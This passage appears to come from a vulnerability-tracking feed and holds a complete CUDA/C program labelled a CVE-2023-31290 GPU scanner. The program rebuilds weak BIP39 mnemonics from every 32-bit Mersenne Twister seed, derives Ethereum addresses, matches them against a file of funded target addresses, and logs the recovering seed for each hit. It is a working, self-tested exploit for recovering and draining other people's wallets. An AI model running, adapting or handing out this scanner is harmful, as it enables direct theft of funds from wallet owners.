0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x >> n) | (x << (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |\n         ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | ((uint64_t)p[6] << 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x >> 56); p[1] = (uint8_t)(x >> 48); p[2] = (uint8_t)(x >> 40); p[3] = (uint8_t)(x >> 32);\n  p[4] = (uint8_t)(x >> 24); p[5] = (uint8_t)(x >> 16); p[6] = (uint8_t)(x >> 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i < 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i < 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] >> 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] >> 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i < 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e & f) ^ ((~e) & g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n >= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n >= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i < 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key < 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i < 128; i++) {\n    uint8_t k = (i < klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i < 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j < 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i < 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] >> 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i < 624; i++) {\n    uint32_t y = (mt[i] & 0x80000000u) | (mt[(i + 1) % 624] & 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y >> 1);\n    if (y & 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i < 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y >> 11;\n    y ^= (y << 7) & 0x9d2c5680u;\n    y ^= (y << 15) & 0xefc60000u;\n    y ^= y >> 18;\n    ent[i] = (uint8_t)(y & 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i < 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] << 24) | ((uint32_t)blk[4 * i + 1] << 16) | ((uint32_t)blk[4 * i + 2] << 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i < 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] >> 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] >> 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i < 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e & f) ^ ((~e) & g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a >> 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w < 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j < 11; j++) {\n      int p = bit + j;\n      idx = (idx << 1) | ((bits[p >> 3] >> (7 - (p & 7))) & 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k < wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i >= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &olen) && olen == 64 ? 0 : -1;\n}\n\ntypedef struct {\n  EC_GROUP *group;\n  BN_CTX *bn;\n  BIGNUM *order, *k, *t;\n  EC_POINT *P;\n} EcTls;\n\nstatic int ec_tls_init(EcTls *e) {\n  e->group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n  e->bn = BN_CTX_new();\n  e->order = BN_new();\n  e->k = BN_new();\n  e->t = BN_new();\n  e->P = e->group ? EC_POINT_new(e->group) : NULL;\n  if (!e->group || !e->bn || !e->order || !e->k || !e->t || !e->P) return -1;\n  return EC_GROUP_get_order(e->group, e->order, e->bn) == 1 ? 0 : -1;\n}\nstatic void ec_tls_free(EcTls *e) {\n  if (e->P) EC_POINT_free(e->P);\n  if (e->t) BN_free(e->t);\n  if (e->k) BN_free(e->k);\n  if (e->order) BN_free(e->order);\n  if (e->bn) BN_CTX_free(e->bn);\n  if (e->group) EC_GROUP_free(e->group);\n}\nstatic int priv_to_pub(EcTls *e, const uint8_t priv[32], uint8_t *out, int compressed) {\n  if (!BN_bin2bn(priv, 32, e->k)) return -1;\n  if (EC_POINT_mul(e->group, e->P, e->k, NULL, NULL, e->bn) != 1) return -1;\n  size_t want = compressed ? 33 : 65;\n  point_conversion_form_t form = compressed ? POINT_CONVERSION_COMPRESSED : POINT_CONVERSION_UNCOMPRESSED;\n  if (EC_POINT_point2oct(e->group, e->P, form, out, want, e->bn) != want) return -1;\n  return 0;\n}\nstatic int tweak_add(EcTls *e, uint8_t key[32], const uint8_t il[32]) {\n  if (!BN_bin2bn(key, 32, e->k) || !BN_bin2bn(il, 32, e->t)) return -1;\n  if (BN_is_zero(e->t) || BN_cmp(e->t, e->order) >= 0) return -1;\n  if (BN_mod_add(e->k, e->k, e->t, e->order, e->bn) != 1) return -1;\n  if (BN_is_zero(e->k)) return -1;\n  return BN_bn2binpad(e->k, key, 32) == 32 ? 0 : -1;\n}\nstatic int ckd_priv(EcTls *e, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index & 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n  } else {\n    if (priv_to_pub(e, key, data, 1) != 0) return -1;\n  }\n  data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n  data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (tweak_add(e, key, I) != 0) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic const uint64_t KECCAKF_RNDC[24] = {\n    0x0000000000000001ULL, 0x0000000000008082ULL, 0x800000000000808aULL, 0x8000000080008000ULL,\n    0x000000000000808bULL, 0x0000000080000001ULL, 0x8000000080008081ULL, 0x8000000000008009ULL,\n    0x000000000000008aULL, 0x0000000000000088ULL, 0x0000000080008009ULL, 0x000000008000000aULL,\n    0x000000008000808bULL, 0x800000000000008bULL, 0x8000000000008089ULL, 0x8000000000008003ULL,\n    0x8000000000008002ULL, 0x8000000000000080ULL, 0x000000000000800aULL, 0x800000008000000aULL,\n    0x8000000080008081ULL, 0x8000000000008080ULL, 0x0000000080000001ULL, 0x8000000080008008ULL};\nstatic const int KECCAKF_ROTC[24] = {1,  3,  6,  10, 15, 21, 28, 36, 45, 55, 2,  14,\n                                     27, 41, 56, 8,  25, 43, 62, 18, 39, 61, 20, 44};\nstatic const int KECCAKF_PILN[24] = {10, 7,  11, 17, 18, 3, 5,  16, 8,  21, 24, 4,\n                                     15, 23, 19, 13, 12, 2, 20, 14, 22, 9,  6,  1};\nstatic void keccakf(uint64_t st[25]) {\n  for (int round = 0; round < 24; round++) {\n    uint64_t bc[5];\n    for (int i = 0; i < 5; i++) bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];\n    for (int i = 0; i < 5; i++) {\n      uint64_t t = bc[(i + 4) % 5] ^ ((bc[(i + 1) % 5] << 1) | (bc[(i + 1) % 5] >> 63));\n      for (int j = 0; j < 25; j += 5) st[j + i] ^= t;\n    }\n    uint64_t t = st[1];\n    for (int i = 0; i < 24; i++) {\n      int j = KECCAKF_PILN[i];\n      bc[0] = st[j];\n      st[j] = (t << KECCAKF_ROTC[i]) | (t >> (64 - KECCAKF_ROTC[i]));\n      t = bc[0];\n    }\n    for (int j = 0; j < 25; j += 5) {\n      uint64_t tmp[5];\n      for (int i = 0; i < 5; i++) tmp[i] = st[j + i];\n      for (int i = 0; i < 5; i++) st[j + i] ^= (~tmp[(i + 1) % 5]) & tmp[(i + 2) % 5];\n    }\n    st[0] ^= KECCAKF_RNDC[round];\n  }\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  uint64_t st[25];\n  memset(st, 0, sizeof(st));\n  uint8_t *s = (uint8_t *)st;\n  const size_t rsiz = 136;\n  while (inlen >= rsiz) {\n    for (size_t i = 0; i < rsiz; i++) s[i] ^= in[i];\n    keccakf(st);\n    in += rsiz;\n    inlen -= rsiz;\n  }\n  for (size_t i = 0; i < inlen; i++) s[i] ^= in[i];\n  s[inlen] ^= 0x01;\n  s[rsiz - 1] ^= 0x80;\n  keccakf(st);\n  memcpy(out, st, 32);\n}\nstatic int eth_from_seed64(EcTls *e, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32], uncomp[65], h[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(e, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (priv_to_pub(e, key, uncomp, 0) != 0) return -1;\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets && bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i < 20; i++) { out[2 + 2 * i] = h[a[i] >> 4]; out[3 + 2 * i] = h[a[i] & 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd < 0) return -1;\n  struct stat st;\n  if (fstat(fd, &st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  uint8_t kh[32];\n  keccak256((const uint8_t *)\"\", 0, kh);\n  char khex[65];\n  static const char *hh = \"0123456789abcdef\";\n  for (int i = 0; i < 32; i++) { khex[2 * i] = hh[kh[i] >> 4]; khex[2 * i + 1] = hh[kh[i] & 0xf]; }\n  khex[64] = 0;\n  if (strcmp(khex, \"c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\") != 0) {\n    printf(\"host keccak empty FAIL %s\\n\", khex);\n    return 1;\n  }\n  printf(\"host keccak empty PASS\\n\");\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64], addr[20];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  EcTls e;\n  if (ec_tls_init(&e) != 0) return 1;\n  int rc = eth_from_seed64(&e, seed, addr);\n  ec_tls_free(&e);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 && strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&d_out, 64));\n  k_derive_seed64<<<1, 1>>>(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i < 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i < 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  EcTls e;\n  if (ec_tls_init(&e) != 0) return 1;\n  uint8_t addr[20];\n  eth_from_seed64(&e, got, addr);\n  ec_tls_free(&e);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu->eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok && aok) ? 0 : 1;\n}\n\nstatic void process_batch(uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    EcTls e;\n    if (ec_tls_init(&e) != 0) {\n      fprintf(stderr, \"ec_tls_init fail\\n\");\n    } else {\n#pragma omp for schedule(static)\n    for (int i = 0; i < n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(&e, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&hits_mu);\n        __sync_fetch_and_add(&g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    }\n    ec_tls_free(&e);\n  }\n#else\n  EcTls e;\n  if (ec_tls_init(&e) != 0) return;\n  for (int i = 0; i < n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(&e, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n  ec_tls_free(&e);\n#endif\n  __sync_fetch_and_add(&g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL << 32;\n  int threads = 256;\n  int gpu_id = 0;\n  if (argc >= 2 && !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev < 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i < argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") && i + 1 < argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") && i + 1 < argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") && i + 1 < argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") && i + 1 < argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") && i + 1 < argc) threads = atoi(argv[++i]);\n    else if (!strcmp(argv[i], \"--gpu\") && i + 1 < argc) gpu_id = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(gpu_id)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&ndev));\n  if (ndev < 1) return 1;\n  if (gpu_id < 0 || gpu_id >= ndev) {\n    fprintf(stderr, \"bad --gpu %d (have %d)\\n\", gpu_id, ndev);\n    return 1;\n  }\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpu=%d/%d targets=%zu\\n\", start, count, gpu_id, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 << 18;\n#ifdef _OPENMP\n  g_inner_threads = threads;\n  if (g_inner_threads < 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at > (1ULL << 32)) done_at = 1ULL << 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &t0);\n\n  {\n    CHECK_CUDA(cudaSetDevice(gpu_id));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    for (uint64_t s = start; s < done_at; ) {\n      int n = BATCH;\n      if ((uint64_t)n > done_at - s) n = (int)(done_at - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64<<>>((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch((uint32_t)s, n, h_seed);\n      {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&g_hits, 0);\n        double r = done / (sec > 0.001 ? sec : 0.001);\n        double eta = r > 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:54:41.740068Z"}, {"uuid": "777a8e67-dc78-4c13-a543-e1e88033bd17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/93fa5197d28f92b1811124a85270afb0", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -> BIP39-128 mnemonic -> PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -> keccak ETH addr -> funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 